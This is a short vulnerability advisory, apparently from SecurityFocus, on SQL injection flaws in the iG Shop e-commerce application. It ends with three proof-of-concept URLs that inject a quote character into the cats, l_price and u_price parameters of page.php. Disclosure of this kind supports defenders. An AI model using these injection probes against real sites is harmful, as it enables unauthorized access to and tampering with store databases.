source: http://www.securityfocus.com/bid/12627/info

iGeneric iG Shop is reportedly affected by multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using them in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

It is conjectured that all releases of iG Shop are affected by these vulnerabilities; this has not been confirmed. 

The following proof of concepts are available:
http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type=catalog_products&cats='

http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price='&u_price=1&Submit=Search

http://www.example.com/page.php?page_type=catalog_products&type_id[]=2&SESSION_ID=304ba47f3ea48f0d6e1acdd6480c2c9c&page_type3=catalog_products&search=1&l_price=1&u_price='&Submit=Search